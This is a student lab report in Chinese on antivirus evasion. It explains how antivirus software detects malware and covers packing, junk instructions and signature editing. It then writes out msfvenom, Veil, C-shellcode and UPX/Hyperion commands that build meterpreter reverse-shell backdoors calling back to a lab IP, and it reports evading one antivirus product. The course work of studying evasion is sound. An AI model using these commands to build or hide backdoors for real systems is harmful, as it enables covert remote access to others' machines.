其他分享
首页 > 其他分享> > 2020-2021-2 20181304石昊林《网络对抗技术》 Exp3 免杀原理

2020-2021-2 20181304石昊林《网络对抗技术》 Exp3 免杀原理

作者:互联网

免杀原理

目录

实验内容

  1. 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件;veil,加壳工具;使用C + shellcode编程。
  2. 通过组合应用各种技术实现恶意代码免杀。
  3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

基础问题回答

  1. 杀软是如何检测出恶意代码的?
    • 基于特征码的检测
      杀毒软件有自己专门的特征码库,检测一个程序是否是恶意代码时就看这个程序的代码中是否包含特征码库中的特征码,如果有就进行查杀。这个方法有一定的局限性,如果特征码库没有及时更新,那么出现了新的恶意代码(一种新的特征码)的话就无法通过这种比对的方法进行查杀。
    • 启发式恶意软件检测
      一种根据片面特征去判断是否为恶意代码的方法。这种方法可以检测0day恶意软件,具有一定的通用性;但是其实时监控系统行为开销稍多,没有基于特征码的精确度高。
    • 基于行为的恶意软件检测
      基于行为的检测相当于是启发式的一种,它可以对软件的行为进行监控,从而判断恶意软件进行的恶意操作。
  2. 免杀是做什么?
    • 免杀,也就是反病毒与反间谍的对立面,是一种“反杀毒技术”,即通过各种方法对恶意软件或恶意代码进行“包装”,使其不被各种杀毒软件和防火墙发现。与此同时,免杀也是渗透测试中需要使用到的技术。
  3. 免杀的基本方法有哪些?
    • 加壳脱壳与加密解密:利用特殊的算法,对可执行文件与动态库里的资源进行压缩与对文件的描述、版本号、创建日期、修改软件、系统执行需求等外层数据进行伪装。
    • 加花指令:加花指令就是在程序开头加入一段计算用的汇编指令和一些入口点内存地址的乱跳转,或加上其他常用程序特有的入口指令来迷惑杀毒软件。因为计算与跳转的最后结果是没有实质的意义的,所以这么做并不影响程序的正常运行。但能使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果。
    • 程序入口点修改:程序入口点修改就是改变入口点,通常用到的方法是在入口点的地址加1或把入口点地址拆开,也有加花指令之后把原入口点修改到花指令的入口点上令电脑先处理那段没意义的指令,再在花指令后再加跳转代码,跳转到程序执行数据的入口点上,令程序正常运行。
    • 内存、文件特征码的定位与修改:首先用特征码定位软件定位文件特征码的所在之处,再用UltraEdit对被定位的特征码段进行修改。
      一般修改方法有:①十六进制的特征码直接修改法,就是把十六进制的特征码加1;②字符串大小写修改法,就是特征码所对应的内容是字符串的时候,把大小字互换;③等价替换法,就是当特征码所对应的是汇编指令时,把指令替换成功能类拟的指令;④指令顺序调换法,把特征码对应的汇编指令的顺序互换;⑤通用跳转法,用跳转的方法把特征码对应的汇编指令跳转走。
    • 集成在盗版软件中,诱使使用者使用时关闭杀软防火墙。

实验过程

任务一:正确使用msf编码器,使用msfvenom生成如jar之类的其他文件;veil,加壳工具;使用C+shellcode编程

  1. 正确使用msf编码器,生成exe文件
    使用上一次实验的install.exe后门程序,使用Virus TotalVirscan进行扫描,结果如下:
    image
    image

  2. 使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e UTF-8 -i 10 -b ‘\x00’ LHOST=192.168.91.133 LPORT=1304 -f exe > shl_test1.exe进行一次编码

    • -e:The encoder to use,即选择要使用的编码器
    • -b:The list of characters to avoid example:‘0’,即不让‘\x00’出现在shellcode中,是为了避免使用错误字符,防止意外中断
    • -i:设置迭代的次数,此命令设置了10次迭代
      结果如下:
      image
      image
  3. 使用msf编码器生成jar文件
    使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=1304 x> shl_test2.jar生成java后门程序。结果如下:
    image
    image

  4. 使用msf编码器生成php文件
    使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=1304 x> shl_test3.php生成php文件。结果如下:
    image
    image

  5. 使用msf编码器生成Android后门apk文件
    使用命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=1304 x> shl_test4.apk生成apk文件。结果如下:
    image
    image

  6. 使用veil-evasion生成后门程序及检测
    (1)在安装veil前先执行以下指令,这里千万要有耐心,如果有报错按提示继续安装就可以,最后再看是否成功。这里我拍摄了虚拟机快照,一步一步尝试最后安装成功。
    sudo apt-get install libncurses5*
    sudo apt-get install libavutil55*
    sudo apt-get install gcc-mingw-w64*
    sudo apt-get install wine32
    sudo apt-get update

    • 安装veil:sudo apt-get install veil-evasion
      image

    (2)veil生成后门程序

    • 输入use 1进入veil-evasion
    • 输入list查看所有可以生成的后门程序
    • 我使用C的后门,输入use 7,即:c/meterpreter/rev_tcp.py
    • 设置反弹链接的IP:set LHOST 192.168.91.133
    • 设置端口:set LPORT 1304
    • 输入options查看设置,如下图:
      image
    • 输入generate生成文件,设置名字为:shl_test5
      image
    • 使用Virustotal检测这个后门程序,结果入下:
      image
      (3)使用C+shellcode编程
    • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=1304 -f c,生成一段shellcode
      image
    • 新建C程序shl_test6将shellcode复制到其中:
      image
    • 使用命令:i686-w64-mingw32-g++ shl_test6.c -o shl_test6.exe,将.c文件编译成可执行文件,使用检测软件对这个后门程序进行扫描,结果如下:
      image
  7. 加壳工具

    • 加壳是指可执行程序资源压缩,是保护文件的常用手段。加壳过的程序可以直接运行,但是不能查看源代码,要经过脱壳才可以查看源代码。
    • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,做一些额外的工作。大多数病毒就是基于此原理。
    • 加壳的程序经常想尽办法阻止外部程序或软件对加壳程序的反汇编分析或者动态分析,以达到它不可告人的目的。这种技术也常用来保护软件版权,防止被软件破解。
    • 解压原理:加壳工具在文件头里加了一段指令,告诉CPU,怎么才能解压自己。加“壳”虽然增加了CPU负担,但是减少了硬盘读写时间,实际应用时加“壳”以后程序运行速度更快。
    • 一般软件都加“壳”这样不但可以保护自己的软件不被破解、修改还可以增加运行时启动速度。
    • 从技术上壳分为:
      • 压缩壳:减少应用体积,如ASPack,UPX。
      • 加密壳:版权保护,反跟踪。如ASProtect,Armadillo。
      • 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,THemida。
    • 压缩壳upx:对实验二中生成的后门程序进行加壳,命令为:upx 20181304Exp2.exe -o 1304Exp2_upx.exe。使用检测软件对后门程序进行扫描,结果如下:
      image
      image
    • 加密壳Hyperion:将1304Exp2_upx.exe复制到hyperion2.2目录下,输入指令:wine hyperion.exe -v 1304Exp2_upx.exe 1304Exp2_upx_Hyperion.exe加壳。使用检测软件对后门程序进行扫描,结果如下:
      image
      image

任务二:通过组合应用各种技术实现恶意代码免杀

  1. 尝试使用shl_test6.exe这个文件(C+shellcode)进行加密壳和压缩壳操作后,观察是否能被我电脑的杀软(McAfee)检测出来,结果如下图:
    image
    image
    被无情杀掉了……我发先一个现象就是,一旦加就壳,杀软貌似就“格外注意”这是不是安全的软件,然后给它杀掉。
    我尝试了各种方法生成的.exe文件然后加密压缩,最后都被杀软杀掉了,这条路我没有走通。
  2. 我尝试对php文件进行检测时,我发现这次杀软没检测出来。
    image
  3. 我觉得我想法有些误区,加密压缩后的后门程序我在运行时并没有被查杀,而是我主动去检测的时候被杀了。但是我在尝试反向链接的时候它就被删了。
  4. 我在实验遇到的问题中写了一个我成功实现免杀的例子,就不在这里重复了。

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实验遇到的问题与实验感想

  1. 让我比较疑惑的是的殴打虚拟机没有加密壳工具Hyperion.exe,需要我自己编译,我询问了其他同学,都没有遇到这样的情况。
    我找到的第一种解决办法,是输入wine control.exe,然后通过wine控制面板下载hyperion.exe,根据提示这个程序在C盘的system32文件夹下。但是在实际操作时,我的电脑只会显示方框,这是编码的问题,我没有尝试去改编码(担心之前的程序出现问题)。这种方法我没有尝试,所以在这里提出来,欢迎有想法的伙伴尝试。
    image
    第二种办法是使用mingw-w64编译Hyperion。我参考了csdn的一篇文章,基本解决了编译时的问题,附上链接:https://blog.csdn.net/weixin_36711901/article/details/103217022
  2. 在通过组合应用各种技术实现恶意代码免杀时,我遇到了较大的困难。计算机的杀毒软件很多,其检测能力也各不相同,我采用我已知的方法去加密、压缩,但总是可以被我计算机自带的杀软杀掉。在同学的建议下我换了一个杀毒软件,这次免杀实验就成功了……但是我觉得这种掩耳盗铃的做法没必要写进报告的步骤里,就在这里贴个图吧。
    image
    如图:依然采用C+shellcode+加密壳+压缩壳,火绒没有报毒。现在尝试回连:
    image
    image
    这不就成功了嘛。
  3. 感想:明显感觉这次实验要难的多,实验过程中不断出现各种各样的问题,我只好不断寻找解决办法,这个过程导致我实验周期变得很长很长。这个实验让我知道,没有绝对的安全,也不存在能查出所有病毒的杀毒软件。只有时时刻刻保持安全意识,杜绝安装不安全的计算机软件,才能保证我们的信息安全。

开启杀软能绝对防止电脑中恶意代码吗?

经过这个实验,我觉得开启杀软不能绝对防止电脑中恶意代码。假如杀软的病毒库中如果没有记录该特征片段,或着没有检测该恶意代码的有效手段则无法检测到该恶意代码,就不能及时杀掉电脑中的恶意代码。

标签:exe,免杀,Exp3,恶意代码,程序,石昊林,加壳,使用
来源: https://www.cnblogs.com/shl1304/p/14607943.html